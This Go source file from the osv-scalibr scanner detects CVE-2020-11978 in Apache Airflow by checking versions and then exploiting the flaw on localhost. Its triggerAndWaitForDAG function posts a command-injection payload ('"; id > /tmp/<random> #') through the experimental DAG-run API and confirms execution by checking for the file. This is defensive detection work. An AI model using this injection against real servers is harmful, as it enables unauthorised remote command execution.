github.com/google/osv-scalibr@v0.4.1/detector/cve/untested/cve202011978/cve202011978.go (about)

     1  // Copyright 2025 Google LLC
     2  //
     3  // Licensed under the Apache License, Version 2.0 (the "License");
     4  // you may not use this file except in compliance with the License.
     5  // You may obtain a copy of the License at
     6  //
     7  //      http://www.apache.org/licenses/LICENSE-2.0
     8  //
     9  // Unless required by applicable law or agreed to in writing, software
    10  // distributed under the License is distributed on an "AS IS" BASIS,
    11  // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    12  // See the License for the specific language governing permissions and
    13  // limitations under the License.
    14  
    15  // Package cve202011978 implements a detector for CVE-2020-11978.
    16  // This can be deployed by cloning https://github.com/pberba/CVE-2020-11978
    17  // and running docker-compose up in the directory.
    18  package cve202011978
    19  
    20  import (
    21  	"bytes"
    22  	"context"
    23  	"encoding/json"
    24  	"errors"
    25  	"fmt"
    26  	"io/fs"
    27  	"math/rand"
    28  	"net"
    29  	"net/http"
    30  	"os"
    31  	"strconv"
    32  	"strings"
    33  	"time"
    34  
    35  	"github.com/google/osv-scalibr/detector"
    36  	"github.com/google/osv-scalibr/extractor"
    37  	"github.com/google/osv-scalibr/extractor/filesystem/language/python/wheelegg"
    38  	scalibrfs "github.com/google/osv-scalibr/fs"
    39  	"github.com/google/osv-scalibr/inventory"
    40  	"github.com/google/osv-scalibr/log"
    41  	"github.com/google/osv-scalibr/packageindex"
    42  	"github.com/google/osv-scalibr/plugin"
    43  
    44  	osvpb "github.com/ossf/osv-schema/bindings/go/osvschema"
    45  	structpb "google.golang.org/protobuf/types/known/structpb"
    46  )
    47  
    48  type airflowPackageNames struct {
    49  	packageType      string
    50  	name             string
    51  	affectedVersions []string
    52  }
    53  
    54  const (
    55  	// Name of the detector.
    56  	Name = "cve/cve-2020-11978"
    57  
    58  	airflowServerIP   = "127.0.0.1"
    59  	airflowServerPort = 8080
    60  	defaultTimeout    = 5 * time.Second
    61  	schedulerTimeout  = 10 * time.Second
    62  	loopTimeout       = 2 * time.Minute
    63  )
    64  
    65  var (
    66  	seededRand      = rand.New(rand.NewSource(time.Now().UnixNano()))
    67  	randFilePath    = "/tmp/" + randomString(16)
    68  	airflowPackages = []airflowPackageNames{
    69  		{
    70  			packageType: "pypi",
    71  			name:        "apache-airflow",
    72  			affectedVersions: []string{
    73  				"1.10.10",
    74  				"1.10.10rc5",
    75  				"1.10.10rc4",
    76  				"1.10.10rc3",
    77  				"1.10.10rc2",
    78  				"1.10.10rc1",
    79  				"1.10.9",
    80  				"1.10.9rc1",
    81  				"1.10.8",
    82  				"1.10.8rc1",
    83  				"1.10.7",
    84  				"1.10.7rc3",
    85  				"1.10.7rc2",
    86  				"1.10.7rc1",
    87  				"1.10.6",
    88  				"1.10.6rc2",
    89  				"1.10.6rc1",
    90  				"1.10.5",
    91  				"1.10.5rc1",
    92  				"1.10.4",
    93  				"1.10.4rc5",
    94  				"1.10.4rc4",
    95  				"1.10.4rc3",
    96  				"1.10.4rc2",
    97  				"1.10.4rc1",
    98  				"1.10.4b2",
    99  				"1.10.3",
   100  				"1.10.3rc2",
   101  				"1.10.3rc1",
   102  				"1.10.3b2",
   103  				"1.10.3b1",
   104  				"1.10.2",
   105  				"1.10.2rc3",
   106  				"1.10.2rc2",
   107  				"1.10.2rc1",
   108  				"1.10.2b2",
   109  				"1.10.1",
   110  				"1.10.1rc2",
   111  				"1.10.1b1",
   112  				"1.10.0",
   113  				"1.9.0",
   114  				"1.8.2",
   115  				"1.8.2rc1",
   116  				"1.8.1",
   117  				"1.7",
   118  				"1.6.2",
   119  				"1.6.1",
   120  				"1.6.0",
   121  				"1.5.2",
   122  				"1.5.1",
   123  				"1.5.0",
   124  				"1.4.0",
   125  			},
   126  		},
   127  	}
   128  )
   129  
   130  // Detector is a SCALIBR Detector for CVE-2020-11978.
   131  type Detector struct{}
   132  
   133  // New returns a detector.
   134  func New() detector.Detector {
   135  	return &Detector{}
   136  }
   137  
   138  // Name of the detector.
   139  func (Detector) Name() string { return Name }
   140  
   141  // Version of the detector.
   142  func (Detector) Version() int { return 0 }
   143  
   144  // Requirements of the detector.
   145  func (Detector) Requirements() *plugin.Capabilities {
   146  	return &plugin.Capabilities{DirectFS: true, RunningSystem: true, OS: plugin.OSLinux}
   147  }
   148  
   149  // RequiredExtractors returns the python wheel extractor.
   150  func (Detector) RequiredExtractors() []string { return []string{wheelegg.Name} }
   151  
   152  // DetectedFinding returns generic vulnerability information about what is detected.
   153  func (d Detector) DetectedFinding() inventory.Finding {
   154  	return d.findingForPackage(nil, nil)
   155  }
   156  
   157  func (Detector) findingForPackage(dbSpecific *structpb.Struct, pkg *extractor.Package) inventory.Finding {
   158  	airflowPkg := &extractor.Package{
   159  		Name:     "apache-airflow",
   160  		PURLType: "pipy",
   161  	}
   162  	return inventory.Finding{PackageVulns: []*inventory.PackageVuln{{
   163  		Package: pkg,
   164  		Vulnerability: &osvpb.Vulnerability{
   165  			Id:      "CVE-2020-11978",
   166  			Summary: "CVE-2020-11978",
   167  			Details: "CVE-2020-11978",
   168  			Affected: inventory.PackageToAffected(airflowPkg, "1.10.11", &osvpb.Severity{
   169  				Type:  osvpb.Severity_CVSS_V3,
   170  				Score: "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
   171  			}),
   172  			DatabaseSpecific: dbSpecific,
   173  		},
   174  	}}}
   175  }
   176  
   177  func findairflowVersions(px *packageindex.PackageIndex) (string, *extractor.Package, []string) {
   178  	for _, r := range airflowPackages {
   179  		for _, p := range px.GetSpecific(r.name, r.packageType) {
   180  			return p.Version, p, r.affectedVersions
   181  		}
   182  	}
   183  	return "", nil, []string{}
   184  }
   185  
   186  // Scan checks for the presence of the airflow CVE-2020-11978 vulnerability on the filesystem.
   187  func (d Detector) Scan(ctx context.Context, scanRoot *scalibrfs.ScanRoot, px *packageindex.PackageIndex) (inventory.Finding, error) {
   188  	airflowVersion, pkg, affectedVersions := findairflowVersions(px)
   189  	if airflowVersion == "" {
   190  		log.Debugf("No airflow version found")
   191  		return inventory.Finding{}, nil
   192  	}
   193  
   194  	isVulnVersion := false
   195  	for _, r := range affectedVersions {
   196  		if strings.Contains(airflowVersion, r) {
   197  			isVulnVersion = true
   198  		}
   199  	}
   200  
   201  	if !isVulnVersion {
   202  		log.Infof("Version %q not vuln", airflowVersion)
   203  		return inventory.Finding{}, nil
   204  	}
   205  
   206  	log.Infof("Found Potentially vulnerable airflow version %v", airflowVersion)
   207  
   208  	if !CheckAccessibility(ctx, airflowServerIP, airflowServerPort) {
   209  		log.Infof("Airflow server not accessible. Version %q not vulnerable", airflowVersion)
   210  		return inventory.Finding{}, nil
   211  	}
   212  
   213  	if !CheckForBashTask(ctx, airflowServerIP, airflowServerPort) {
   214  		log.Infof("Version %q not vulnerable", airflowVersion)
   215  		return inventory.Finding{}, nil
   216  	}
   217  
   218  	if !CheckForPause(ctx, airflowServerIP, airflowServerPort) {
   219  		log.Infof("Version %q not vulnerable", airflowVersion)
   220  		return inventory.Finding{}, nil
   221  	}
   222  
   223  	if !triggerAndWaitForDAG(ctx, airflowServerIP, airflowServerPort) {
   224  		log.Infof("Version %q not vulnerable", airflowVersion)
   225  		return inventory.Finding{}, nil
   226  	}
   227  
   228  	if !fileExists(scanRoot.FS, randFilePath) {
   229  		return inventory.Finding{}, nil
   230  	}
   231  
   232  	log.Infof("Version %q is vulnerable", airflowVersion)
   233  
   234  	err := os.Remove(randFilePath)
   235  	if err != nil {
   236  		log.Infof("Error removing file: %v", err)
   237  	}
   238  
   239  	dbSpecific := &structpb.Struct{
   240  		Fields: map[string]*structpb.Value{
   241  			"extra": {Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("%s %s %s", pkg.Name, pkg.Version, strings.Join(pkg.Locations, ", "))}},
   242  		},
   243  	}
   244  	return d.findingForPackage(dbSpecific, pkg), nil
   245  }
   246  
   247  // doGetRequest does a GET request to the specified target URL and returns the response.
   248  //
   249  // If an error occurs, it will be logged and nil will be returned.
   250  func doGetRequest(ctx context.Context, target string) *http.Response {
   251  	req, err := http.NewRequestWithContext(ctx, http.MethodGet, target, nil)
   252  
   253  	if err != nil {
   254  		log.Infof("Request failed: %v", err)
   255  		return nil
   256  	}
   257  
   258  	client := &http.Client{Timeout: defaultTimeout}
   259  	resp, err := client.Do(req)
   260  
   261  	if err != nil {
   262  		log.Infof("Request failed: %v", err)
   263  		return nil
   264  	}
   265  
   266  	return resp
   267  }
   268  
   269  // CheckAccessibility checks if the airflow server is accessible.
   270  func CheckAccessibility(ctx context.Context, airflowIP string, airflowServerPort int) bool {
   271  	target := fmt.Sprintf("http://%s/api/experimental/test", net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort)))
   272  
   273  	resp := doGetRequest(ctx, target)
   274  	if resp == nil {
   275  		return false
   276  	}
   277  	defer resp.Body.Close()
   278  	return true
   279  }
   280  
   281  // CheckForBashTask checks if the airflow server has a bash task.
   282  func CheckForBashTask(ctx context.Context, airflowIP string, airflowServerPort int) bool {
   283  	target := fmt.Sprintf("http://%s/api/experimental/dags/example_trigger_target_dag/tasks/bash_task", net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort)))
   284  
   285  	resp := doGetRequest(ctx, target)
   286  	if resp == nil {
   287  		return false
   288  	}
   289  	defer resp.Body.Close()
   290  
   291  	BashTaskPresence := resp.StatusCode == http.StatusOK
   292  	if !BashTaskPresence {
   293  		return false
   294  	}
   295  
   296  	var data map[string]any
   297  	if err := json.NewDecoder(resp.Body).Decode(&data); err != nil {
   298  		log.Infof("Error parsing JSON: %v", err)
   299  		return false
   300  	}
   301  
   302  	if _, exists := data["env"]; !exists {
   303  		log.Infof("Key 'env' does not exist in the JSON data")
   304  		return false
   305  	}
   306  
   307  	envValue, ok := data["env"].(string)
   308  	if !ok {
   309  		log.Infof("Value of 'env' is not a string")
   310  		return false
   311  	}
   312  
   313  	if !strings.Contains(envValue, "dag_run") {
   314  		log.Infof("Value of 'env' does not contain 'dag_run'")
   315  		return true
   316  	}
   317  	return false
   318  }
   319  
   320  // CheckForPause checks if the airflow server has a paused dag.
   321  func CheckForPause(ctx context.Context, airflowIP string, airflowServerPort int) bool {
   322  	target := fmt.Sprintf("http://%s/api/experimental/dags/example_trigger_target_dag/paused/false", net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort)))
   323  
   324  	resp := doGetRequest(ctx, target)
   325  	if resp == nil {
   326  		return false
   327  	}
   328  	defer resp.Body.Close()
   329  	return resp.StatusCode == http.StatusOK
   330  }
   331  
   332  // triggerAndWaitForDAG achieves command execution via DAG scheduling using the example bash task from above.
   333  func triggerAndWaitForDAG(ctx context.Context, airflowIP string, airflowServerPort int) bool {
   334  	dagURL := fmt.Sprintf("http://%s/api/experimental/dags/example_trigger_target_dag/dag_runs", net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort)))
   335  	payload := map[string]any{
   336  		"conf": map[string]string{
   337  			"message": fmt.Sprintf(`"; id > %s #`, randFilePath),
   338  		},
   339  	}
   340  
   341  	jsonPayload, err := json.Marshal(payload)
   342  	if err != nil {
   343  		return false
   344  	}
   345  
   346  	req, err := http.NewRequestWithContext(ctx, http.MethodPost, dagURL, bytes.NewBuffer(jsonPayload))
   347  	if err != nil {
   348  		return false
   349  	}
   350  	req.Header.Set("Content-Type", "application/json")
   351  
   352  	client := &http.Client{Timeout: defaultTimeout}
   353  	res, err := client.Do(req)
   354  	if err != nil {
   355  		if errors.Is(err, context.DeadlineExceeded) {
   356  			fmt.Println("Request timed out")
   357  		} else {
   358  			fmt.Println("Error making request:", err)
   359  		}
   360  		return false
   361  	}
   362  	defer res.Body.Close()
   363  
   364  	if res.StatusCode != http.StatusOK {
   365  		return false
   366  	}
   367  
   368  	var resBody map[string]any
   369  	if err := json.NewDecoder(res.Body).Decode(&resBody); err != nil {
   370  		return false
   371  	}
   372  
   373  	log.Infof("Successfully created DAG")
   374  
   375  	// Check for the existence of "message" and "execution_date"
   376  	if _, messagePresent := resBody["message"]; !messagePresent {
   377  		log.Errorf("Key 'message' not found in response body")
   378  		return false
   379  	}
   380  
   381  	log.Infof("\"%s\"\n", resBody["message"])
   382  
   383  	if _, execDatePresent := resBody["execution_date"]; !execDatePresent {
   384  		log.Errorf("Key 'execution_date' not found in response body")
   385  		return false
   386  	}
   387  
   388  	waitURL := fmt.Sprintf(
   389  		"http://%s/api/experimental/dags/example_trigger_target_dag/dag_runs/%s/tasks/bash_task",
   390  		net.JoinHostPort(airflowIP, strconv.Itoa(airflowServerPort)), resBody["execution_date"],
   391  	)
   392  
   393  	log.Infof("Waiting for the scheduler to run the DAG... This might take a minute.")
   394  	log.Infof("If the bash task is never queued, then the scheduler might not be running.")
   395  
   396  	startTime := time.Now()
   397  	for {
   398  		if time.Since(startTime) > loopTimeout {
   399  			log.Infof("Timeout reached (2 minutes). Probably stuck or not exploitable")
   400  			return false
   401  		}
   402  		time.Sleep(schedulerTimeout)
   403  		req, err := http.NewRequestWithContext(ctx, http.MethodGet, waitURL, nil)
   404  
   405  		if err != nil {
   406  			log.Infof("failed to build request: %v", err)
   407  			return false
   408  		}
   409  
   410  		res, err := http.DefaultClient.Do(req)
   411  		if err != nil {
   412  			log.Infof("failed to get task status: %v", err)
   413  			return false
   414  		}
   415  
   416  		var statusBody map[string]any
   417  		if err := json.NewDecoder(res.Body).Decode(&statusBody); err != nil {
   418  			log.Infof("failed to decode status response: %v", err)
   419  			return false
   420  		}
   421  		res.Body.Close()
   422  
   423  		log.Infof("statusBody: %v", statusBody)
   424  		status := statusBody["state"].(string)
   425  		switch status {
   426  		case "scheduled":
   427  			log.Infof("Bash task scheduled")
   428  			log.Infof("Waiting for the scheduler to run the DAG")
   429  		case "queued":
   430  			log.Infof("Bash task queued")
   431  		case "running":
   432  			log.Infof("Bash task running")
   433  		case "success":
   434  			log.Infof("Bash task successfully ran")
   435  			return true
   436  		case "None":
   437  			log.Infof("Bash task is not yet queued")
   438  			return false
   439  		default:
   440  			return false
   441  		}
   442  	}
   443  }
   444  
   445  func fileExists(filesys scalibrfs.FS, path string) bool {
   446  	_, err := fs.Stat(filesys, path)
   447  	return !os.IsNotExist(err)
   448  }
   449  
   450  func randomString(length int) string {
   451  	charSet := "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ"
   452  	b := make([]byte, length)
   453  	for i := range b {
   454  		b[i] = charSet[seededRand.Intn(len(charSet)-1)]
   455  	}
   456  	return string(b)
   457  }